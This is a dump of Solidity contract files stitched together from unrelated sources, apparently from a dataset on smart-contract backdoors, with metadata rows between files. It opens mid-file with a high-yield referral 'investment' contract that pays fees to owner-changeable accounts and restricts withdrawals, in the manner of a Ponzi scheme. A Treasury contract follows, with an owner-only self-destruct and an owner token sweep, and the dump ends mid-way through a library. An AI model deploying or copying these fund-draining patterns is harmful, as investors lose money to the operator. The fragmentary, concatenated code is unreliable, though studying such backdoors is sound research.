mapping(uint256 => Objects.Investor) public uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _reinvestAll(address _addr, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
totalReinvestments_ = totalReinvestments_.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
require(withdrawAllowance(), "Withdraw are not allowed between 0am to 4am UTC");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
require(currentBalance.sub(withdrawalAmount) >= contract_balance.mul(CONTRACT_LIMIT).div(1000), "80% contract balance limit");
uint256 reinvestAmount = withdrawalAmount.div(2);
if(withdrawalAmount > 20e9){
reinvestAmount = withdrawalAmount.sub(10e9);
}
//reinvest
uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount);
//withdraw
msg.sender.transfer(withdrawalAmount.sub(reinvestAmount));
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].reinvestWallet>0) {
withdrawalAmount += uid2Investor[uid].reinvestWallet;
uid2Investor[uid].reinvestWallet = 0;
}
if(withdrawalAmount>0){
//reinvest
_reinvestAll(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
}
function updateBalance() public {
//only once a day
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
}
| 301,318 | 12,224 |
c9a350280d7cb5fab07df63b4e503aed2e13657aef1b545517943395544f05bb
| 21,441 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x281d30bf8b045e90578895619498ef5d6fd6584c.sol
| 4,985 | 19,533 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/// @title ServiceAllowance.
///
/// Provides a way to delegate operation allowance decision to a service contract
contract ServiceAllowance {
function isTransferAllowed(address _from, address _to, address _sender, address _token, uint _value) public view returns (bool);
}
contract Owned {
address public contractOwner;
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
function destroy() onlyContractOwner {
suicide(msg.sender);
}
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Object is Owned {
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
contract OracleContractAdapter is Object {
event OracleAdded(address _oracle);
event OracleRemoved(address _oracle);
mapping(address => bool) public oracles;
/// @dev Allow access only for oracle
modifier onlyOracle {
if (oracles[msg.sender]) {
_;
}
}
modifier onlyOracleOrOwner {
if (oracles[msg.sender] || msg.sender == contractOwner) {
_;
}
}
/// @notice Add oracles to whitelist.
///
/// @param _whitelist user list.
function addOracles(address[] _whitelist)
onlyContractOwner
external
returns (uint)
{
for (uint _idx = 0; _idx < _whitelist.length; ++_idx) {
address _oracle = _whitelist[_idx];
if (_oracle != 0x0 && !oracles[_oracle]) {
oracles[_oracle] = true;
_emitOracleAdded(_oracle);
}
}
return OK;
}
/// @notice Removes oracles from whitelist.
///
/// @param _blacklist user in whitelist.
function removeOracles(address[] _blacklist)
onlyContractOwner
external
returns (uint)
{
for (uint _idx = 0; _idx < _blacklist.length; ++_idx) {
address _oracle = _blacklist[_idx];
if (_oracle != 0x0 && oracles[_oracle]) {
delete oracles[_oracle];
_emitOracleRemoved(_oracle);
}
}
return OK;
}
function _emitOracleAdded(address _oracle) internal {
OracleAdded(_oracle);
}
function _emitOracleRemoved(address _oracle) internal {
OracleRemoved(_oracle);
}
}
contract TreasuryEmitter {
event TreasuryDeposited(bytes32 userKey, uint value, uint lockupDate);
event TreasuryWithdrawn(bytes32 userKey, uint value);
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
/// @title Treasury contract.
///
/// Treasury for CCs deposits for particular fund with bmc-days calculations.
/// Accept BMC deposits from Continuous Contributors via oracle and
/// calculates bmc-days metric for each CC's role.
contract Treasury is OracleContractAdapter, ServiceAllowance, TreasuryEmitter {
uint constant PERCENT_PRECISION = 10000;
uint constant TREASURY_ERROR_SCOPE = 108000;
uint constant TREASURY_ERROR_TOKEN_NOT_SET_ALLOWANCE = TREASURY_ERROR_SCOPE + 1;
using SafeMath for uint;
struct LockedDeposits {
uint counter;
mapping(uint => uint) index2Date;
mapping(uint => uint) date2deposit;
}
struct Period {
uint transfersCount;
uint totalBmcDays;
uint bmcDaysPerDay;
uint startDate;
mapping(bytes32 => uint) user2bmcDays;
mapping(bytes32 => uint) user2lastTransferIdx;
mapping(bytes32 => uint) user2balance;
mapping(uint => uint) transfer2date;
}
address token;
address profiterole;
uint periodsCount;
mapping(uint => Period) periods;
mapping(uint => uint) periodDate2periodIdx;
mapping(bytes32 => uint) user2lastPeriodParticipated;
mapping(bytes32 => LockedDeposits) user2lockedDeposits;
/// @dev Only profiterole contract allowed to invoke guarded functions
modifier onlyProfiterole {
require(profiterole == msg.sender);
_;
}
function Treasury(address _token) public {
require(address(_token) != 0x0);
token = _token;
periodsCount = 1;
}
function init(address _profiterole) public onlyContractOwner returns (uint) {
require(_profiterole != 0x0);
profiterole = _profiterole;
return OK;
}
/// @notice Do not accept Ether transfers
function() payable public {
revert();
}
/// @notice Deposits tokens on behalf of users
/// Allowed only for oracle.
///
/// @param _userKey aggregated user key (user ID + role ID)
/// @param _value amount of tokens to deposit
/// @param _feeAmount amount of tokens that will be taken from _value as fee
/// @param _feeAddress destination address for fee transfer
///
/// @return result code of an operation
function deposit(bytes32 _userKey, uint _value, uint _feeAmount, address _feeAddress, uint _lockupDate) external onlyOracle returns (uint) {
require(_userKey != bytes32(0));
require(_value != 0);
require(_feeAmount < _value);
ERC20 _token = ERC20(token);
if (_token.allowance(msg.sender, address(this)) < _value) {
return TREASURY_ERROR_TOKEN_NOT_SET_ALLOWANCE;
}
uint _depositedAmount = _value - _feeAmount;
_makeDepositForPeriod(_userKey, _depositedAmount, _lockupDate);
uint _periodsCount = periodsCount;
user2lastPeriodParticipated[_userKey] = _periodsCount;
delete periods[_periodsCount].startDate;
if (!_token.transferFrom(msg.sender, address(this), _value)) {
revert();
}
if (!(_feeAddress == 0x0 || _feeAmount == 0 || _token.transfer(_feeAddress, _feeAmount))) {
revert();
}
TreasuryDeposited(_userKey, _depositedAmount, _lockupDate);
return OK;
}
/// @notice Withdraws deposited tokens on behalf of users
/// Allowed only for oracle
///
/// @param _userKey aggregated user key (user ID + role ID)
/// @param _value an amount of tokens that is requrested to withdraw
/// @param _withdrawAddress address to withdraw; should not be 0x0
/// @param _feeAmount amount of tokens that will be taken from _value as fee
/// @param _feeAddress destination address for fee transfer
///
/// @return result of an operation
function withdraw(bytes32 _userKey, uint _value, address _withdrawAddress, uint _feeAmount, address _feeAddress) external onlyOracle returns (uint) {
require(_userKey != bytes32(0));
require(_value != 0);
require(_feeAmount < _value);
_makeWithdrawForPeriod(_userKey, _value);
uint _periodsCount = periodsCount;
user2lastPeriodParticipated[_userKey] = periodsCount;
delete periods[_periodsCount].startDate;
ERC20 _token = ERC20(token);
if (!(_feeAddress == 0x0 || _feeAmount == 0 || _token.transfer(_feeAddress, _feeAmount))) {
revert();
}
uint _withdrawnAmount = _value - _feeAmount;
if (!_token.transfer(_withdrawAddress, _withdrawnAmount)) {
revert();
}
TreasuryWithdrawn(_userKey, _withdrawnAmount);
return OK;
}
/// @notice Gets shares (in percents) the user has on provided date
///
/// @param _userKey aggregated user key (user ID + role ID)
/// @param _date date where period ends
///
/// @return percent from total amount of bmc-days the treasury has on this date.
/// Use PERCENT_PRECISION to get right precision
function getSharesPercentForPeriod(bytes32 _userKey, uint _date) public view returns (uint) {
uint _periodIdx = periodDate2periodIdx[_date];
if (_date != 0 && _periodIdx == 0) {
return 0;
}
if (_date == 0) {
_date = now;
_periodIdx = periodsCount;
}
uint _bmcDays = _getBmcDaysAmountForUser(_userKey, _date, _periodIdx);
uint _totalBmcDeposit = _getTotalBmcDaysAmount(_date, _periodIdx);
return _totalBmcDeposit != 0 ? _bmcDays * PERCENT_PRECISION / _totalBmcDeposit : 0;
}
/// @notice Gets user balance that is deposited
/// @param _userKey aggregated user key (user ID + role ID)
/// @return an amount of tokens deposited on behalf of user
function getUserBalance(bytes32 _userKey) public view returns (uint) {
uint _lastPeriodForUser = user2lastPeriodParticipated[_userKey];
if (_lastPeriodForUser == 0) {
return 0;
}
if (_lastPeriodForUser <= periodsCount.sub(1)) {
return periods[_lastPeriodForUser].user2balance[_userKey];
}
return periods[periodsCount].user2balance[_userKey];
}
/// @notice Gets amount of locked deposits for user
/// @param _userKey aggregated user key (user ID + role ID)
/// @return an amount of tokens locked
function getLockedUserBalance(bytes32 _userKey) public returns (uint) {
return _syncLockedDepositsAmount(_userKey);
}
/// @notice Gets list of locked up deposits with dates when they will be available to withdraw
/// @param _userKey aggregated user key (user ID + role ID)
/// @return {
/// "_lockupDates": "list of lockup dates of deposits",
/// "_deposits": "list of deposits"
/// }
function getLockedUserDeposits(bytes32 _userKey) public view returns (uint[] _lockupDates, uint[] _deposits) {
LockedDeposits storage _lockedDeposits = user2lockedDeposits[_userKey];
uint _lockedDepositsCounter = _lockedDeposits.counter;
_lockupDates = new uint[](_lockedDepositsCounter);
_deposits = new uint[](_lockedDepositsCounter);
uint _pointer = 0;
for (uint _idx = 1; _idx < _lockedDepositsCounter; ++_idx) {
uint _lockDate = _lockedDeposits.index2Date[_idx];
if (_lockDate > now) {
_lockupDates[_pointer] = _lockDate;
_deposits[_pointer] = _lockedDeposits.date2deposit[_lockDate];
++_pointer;
}
}
}
/// @notice Gets total amount of bmc-day accumulated due provided date
/// @param _date date where period ends
/// @return an amount of bmc-days
function getTotalBmcDaysAmount(uint _date) public view returns (uint) {
return _getTotalBmcDaysAmount(_date, periodsCount);
}
/// @notice Makes a checkpoint to start counting a new period
/// @dev Should be used only by Profiterole contract
function addDistributionPeriod() public onlyProfiterole returns (uint) {
uint _periodsCount = periodsCount;
uint _nextPeriod = _periodsCount.add(1);
periodDate2periodIdx[now] = _periodsCount;
Period storage _previousPeriod = periods[_periodsCount];
uint _totalBmcDeposit = _getTotalBmcDaysAmount(now, _periodsCount);
periods[_nextPeriod].startDate = now;
periods[_nextPeriod].bmcDaysPerDay = _previousPeriod.bmcDaysPerDay;
periods[_nextPeriod].totalBmcDays = _totalBmcDeposit;
periodsCount = _nextPeriod;
return OK;
}
function isTransferAllowed(address, address, address, address, uint) public view returns (bool) {
return true;
}
function _makeDepositForPeriod(bytes32 _userKey, uint _value, uint _lockupDate) internal {
Period storage _transferPeriod = periods[periodsCount];
_transferPeriod.user2bmcDays[_userKey] = _getBmcDaysAmountForUser(_userKey, now, periodsCount);
_transferPeriod.totalBmcDays = _getTotalBmcDaysAmount(now, periodsCount);
_transferPeriod.bmcDaysPerDay = _transferPeriod.bmcDaysPerDay.add(_value);
uint _userBalance = getUserBalance(_userKey);
uint _updatedTransfersCount = _transferPeriod.transfersCount.add(1);
_transferPeriod.transfersCount = _updatedTransfersCount;
_transferPeriod.transfer2date[_transferPeriod.transfersCount] = now;
_transferPeriod.user2balance[_userKey] = _userBalance.add(_value);
_transferPeriod.user2lastTransferIdx[_userKey] = _updatedTransfersCount;
_registerLockedDeposits(_userKey, _value, _lockupDate);
}
function _makeWithdrawForPeriod(bytes32 _userKey, uint _value) internal {
uint _userBalance = getUserBalance(_userKey);
uint _lockedBalance = _syncLockedDepositsAmount(_userKey);
require(_userBalance.sub(_lockedBalance) >= _value);
uint _periodsCount = periodsCount;
Period storage _transferPeriod = periods[_periodsCount];
_transferPeriod.user2bmcDays[_userKey] = _getBmcDaysAmountForUser(_userKey, now, _periodsCount);
uint _totalBmcDeposit = _getTotalBmcDaysAmount(now, _periodsCount);
_transferPeriod.totalBmcDays = _totalBmcDeposit;
_transferPeriod.bmcDaysPerDay = _transferPeriod.bmcDaysPerDay.sub(_value);
uint _updatedTransferCount = _transferPeriod.transfersCount.add(1);
_transferPeriod.transfer2date[_updatedTransferCount] = now;
_transferPeriod.user2lastTransferIdx[_userKey] = _updatedTransferCount;
_transferPeriod.user2balance[_userKey] = _userBalance.sub(_value);
_transferPeriod.transfersCount = _updatedTransferCount;
}
function _registerLockedDeposits(bytes32 _userKey, uint _amount, uint _lockupDate) internal {
if (_lockupDate <= now) {
return;
}
LockedDeposits storage _lockedDeposits = user2lockedDeposits[_userKey];
uint _lockedBalance = _lockedDeposits.date2deposit[_lockupDate];
if (_lockedBalance == 0) {
uint _lockedDepositsCounter = _lockedDeposits.counter.add(1);
_lockedDeposits.counter = _lockedDepositsCounter;
_lockedDeposits.index2Date[_lockedDepositsCounter] = _lockupDate;
}
_lockedDeposits.date2deposit[_lockupDate] = _lockedBalance.add(_amount);
}
function _syncLockedDepositsAmount(bytes32 _userKey) internal returns (uint _lockedSum) {
LockedDeposits storage _lockedDeposits = user2lockedDeposits[_userKey];
uint _lockedDepositsCounter = _lockedDeposits.counter;
for (uint _idx = 1; _idx <= _lockedDepositsCounter; ++_idx) {
uint _lockDate = _lockedDeposits.index2Date[_idx];
if (_lockDate <= now) {
_lockedDeposits.index2Date[_idx] = _lockedDeposits.index2Date[_lockedDepositsCounter];
delete _lockedDeposits.index2Date[_lockedDepositsCounter];
delete _lockedDeposits.date2deposit[_lockDate];
_lockedDepositsCounter = _lockedDepositsCounter.sub(1);
continue;
}
_lockedSum = _lockedSum.add(_lockedDeposits.date2deposit[_lockDate]);
}
_lockedDeposits.counter = _lockedDepositsCounter;
}
function _getBmcDaysAmountForUser(bytes32 _userKey, uint _date, uint _periodIdx) internal view returns (uint) {
uint _lastPeriodForUserIdx = user2lastPeriodParticipated[_userKey];
if (_lastPeriodForUserIdx == 0) {
return 0;
}
Period storage _transferPeriod = _lastPeriodForUserIdx <= _periodIdx ? periods[_lastPeriodForUserIdx] : periods[_periodIdx];
uint _lastTransferDate = _transferPeriod.transfer2date[_transferPeriod.user2lastTransferIdx[_userKey]];
// NOTE: It is an intended substraction separation to correctly round dates
uint _daysLong = (_date / 1 days) - (_lastTransferDate / 1 days);
uint _bmcDays = _transferPeriod.user2bmcDays[_userKey];
return _bmcDays.add(_transferPeriod.user2balance[_userKey] * _daysLong);
}
function _getTotalBmcDaysAmount(uint _date, uint _periodIdx) private view returns (uint) {
Period storage _depositPeriod = periods[_periodIdx];
uint _transfersCount = _depositPeriod.transfersCount;
uint _lastRecordedDate = _transfersCount != 0 ? _depositPeriod.transfer2date[_transfersCount] : _depositPeriod.startDate;
if (_lastRecordedDate == 0) {
return 0;
}
// NOTE: It is an intended substraction separation to correctly round dates
uint _daysLong = (_date / 1 days).sub((_lastRecordedDate / 1 days));
uint _totalBmcDeposit = _depositPeriod.totalBmcDays.add(_depositPeriod.bmcDaysPerDay.mul(_daysLong));
return _totalBmcDeposit;
}
}
| 145,388 | 12,225 |
7d287677ce8670aec6e592069f8053df688b06827915c87935a7f176ccae39d8
| 26,301 |
.sol
|
Solidity
| false |
384104864
|
YieldEnhancementLabs/contracts
|
55283dd332976aa1d430a96b0ab12a944f896fed
|
contracts/Chromosome.sol
| 4,335 | 17,205 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
